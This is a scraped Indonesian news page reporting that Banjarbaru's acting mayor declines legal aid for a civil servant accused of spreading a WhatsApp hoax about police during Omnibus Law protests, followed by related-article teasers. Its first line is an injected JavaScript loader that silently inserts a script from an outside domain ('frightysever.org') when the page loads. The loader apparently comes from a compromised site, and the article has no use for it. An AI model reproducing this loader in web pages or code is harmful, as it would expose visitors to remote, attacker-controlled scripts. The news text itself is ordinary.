(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Pjs Wali Kota Banjarbaru Bernhard E Rondonuwu akhirnya angkat bicara terkait kasus hukum yang menjerat salah satu ASN (Aparatur Sipil Negara) di lingkungan Pemerintah Kota (Pemko) Banjarbaru, FM (46) atas dugaan penyebaran berita hoaks.
Ditemui usai menghadiri rapat paripurna di DPRD Banjarbaru, Senin (19/10/2020) siang, Bernhard mengaku turut menyesalkan kejadian yang menimpa pegawai itu. Menurut prinsipnya, seluruh ASN di lingkungan pemerintah seyogyanya dapat bersinergi dengan aparat lain.
“Kita selaku ASN seharusnya berkolaborasi dengan aparat lain. Kalau terjadi kesalahan, itu menjadi tugas tanggung jawab masing-masing ASN,” katanya.
Dalam kasus FM yang diduga menyebarkan berita hoaks dan mengaitkannya dengan institusi kepolisian, Bernhard menyatakan bahwa Pemko Banjarbaru tak akan ikut campur dalam proses hukum yang saat ini tengah berjalan.
“Ketika dia melanggar ketentuan, dia seharusnya tahu sanksi apa yang dihadapi. Untuk pendampingan hukum dari Pemko Banjarbaru tidak ada. Itu urusan pribadi yang bersangkutan,” terang Pjs Wali Kota Banjarbaru.
Sebagaimana yang sudah diberitakan, FM resmi ditetapkan sebagai tersangka oleh Polres Banjarbaru atas kasus dugaan tindak pidana penyebaran berita hoaks, pada pekan lalu.
FM diduga telah mengunggah ujaran kebencian melalui status perpesanan via perpesanan aplikasi WhatsApp pada Kamis (15/10/2020) pagi. Dalam komentarnya, ia menuliskan bahwa aksi demonstrasi Undang-Undang Cipta Kerja yang saat itu berlangsung di Banjarmasin, akan rusuh jika dikawal oleh pihak kepolisian. Bahkan, ia juga menuliskan aksi demo akan disusupi petugas intel dari Polda Kalsel.
Atas postingannya itu, Polres Banjarbaru melalui unit Resmob mengamankan FM di tempat kerjanya, yakni di kantor Badan Pengelolaan Pajak dan Retribusi Daerah (BP2RD) Kota Banjarbaru, Kamis, sekitar pukul 11.00 Wita.
Berdasarkan hasil pemeriksaan di Mapolres Banjarbaru, FM berdalih bahwa postingan status perpesanan di aplikasi WhatsApp tersebut tidak bermaksud untuk menyingung salah satu instansi. FM juga mengaku bahwa postingannya itu hanya menyampaikan kegelisahannya terkait situasi politik yang berkembang sekarang ini. (kanalkalimantan.com/rico)
Reporter: Rico
Editor : Bie
KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More
KANALKALIMANTAN.COM, AMUNTAI – Senyum tawa anak-anak Desa Hambuku Hulu mewarnai halaman rumah warga yang sementara… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengamankan belasan remaja dan sejumlah senjata tajam… Read More
KANALKALIMANTAN.COM, PARINGIN - Gerakan Ekonomi Kreatif Nasional (Gekrafs) Kabupaten Balangan menghadirkan Balangan Kreatif Wadah Anak… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Wali Kota Banjarmasin, H Muhammad Yamin HR mendorong masyarakat bisa mengolah sampah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) mengumumkan penetapan lokasi pembebasan lahan untuk pembangunan… Read More
This website uses cookies.